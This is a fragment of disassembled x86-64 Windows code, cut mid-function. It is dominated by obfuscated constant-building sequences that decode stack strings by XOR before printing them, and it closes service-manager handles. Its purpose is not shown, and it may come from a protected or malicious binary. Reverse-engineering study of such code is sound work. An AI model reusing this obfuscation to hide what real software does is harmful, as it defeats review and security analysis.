rol rax, 0xb3
popf
mov qword [rbp - 9], rax
movabs rax, 0xd9d30928ac1ced48
pushf
not rax
add rax, 0x7b12e3ab
xor rax, 0x6585f30f
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x5cc7ee6b
xor rax, 0x4803d6ef
rol rax, 0xef
popf
pushf
not rax
add rax, 0x6f1036be
xor rax, 0x5d9037c8
rol rax, 0x37
popf
pushf
not rax
add rax, 0x590d4005
xor rax, 0x42c1f9c6
rol rax, 0x4d
popf
movabs rcx, 0x193b679b2b6f94c8
pushf
not rcx
add rcx, 0x65fffdce
xor rcx, 0x6ea8cd95
rol rcx, 0x5a
popf
pushf
not rcx
add rcx, 0x68c3cfb3
xor rcx, 0x67f798c3
rol rcx, 0xa
popf
pushf
not rcx
add rcx, 0x4a616358
xor rcx, 0x4c44ce66
rol rcx, 0xf6
popf
lea rdx, [rbp - 0x19]
mov qword [rbp + 0x17], rcx
movabs rcx, 0x5c0cdafaeb234fe3
pushf
not rcx
add rcx, 0x5401f8eb
xor rcx, 0x7221f30b
rol rcx, 0xa2
popf
pushf
not rcx
add rcx, 0x655a5f12
xor rcx, 0x4f798509
rol rcx, 0x18
popf
pushf
not rcx
add rcx, 0x65c44510
xor rcx, 0x600ff79d
rol rcx, 0xe9
popf
mov qword [rbp + 0x1f], rcx
movabs rcx, 0x4b5e314f8a9fa2e0
pushf
not rcx
add rcx, 0x6aa90402
xor rcx, 0x76e5b8de
rol rcx, 0x18
popf
pushf
not rcx
add rcx, 0x7ff032cc
xor rcx, 0x6afa96ef
rol rcx, 0x6c
popf
pushf
not rcx
add rcx, 0x41ff0916
xor rcx, 0x66b3e701
rol rcx, 0x22
popf
mov qword [rbp + 0x27], rcx
movdqa xmm0, xmmword [rbp - 0x19]
xorps xmm0, xmmword [rbp + 0x17]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp - 1], rax
movabs rax, 0xd942c35e30c5a72e
pushf
not rax
add rax, 0x6a0fa90d
xor rax, 0x5f09cf95
rol rax, 0xca
popf
pushf
not rax
add rax, 0x6d09248b
xor rax, 0x59287108
rol rax, 0x4b
popf
pushf
not rax
add rax, 0x506a5a82
xor rax, 0x644c2eee
rol rax, 0x50
popf
movdqa xmm1, xmmword [rbp - 9]
mov qword [rbp + 0x2f], rax
xorps xmm1, xmmword [rbp + 0x27]
movdqa xmmword [rbp - 9], xmm1
movdqa xmmword [rbp - 0x19], xmm0
call fcn.1400b8cc6
lea rdx, [0x18bda3f02]
pushf
sub rdx, 0x4bd9bee2
popf
mov rcx, rax
jmp 0x1400c340d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
jmp 0x1400c3417
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
jmp 0x1400c3421
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 0x1c
pushf
not al
add al, 0x17
xor al, 0x8b
rol al, 0x2b
popf
pushf
not al
add al, 0x13
xor al, 0x83
rol al, 0xc6
popf
mov rdi, qword [rsp + 0xc8]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400e231b
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret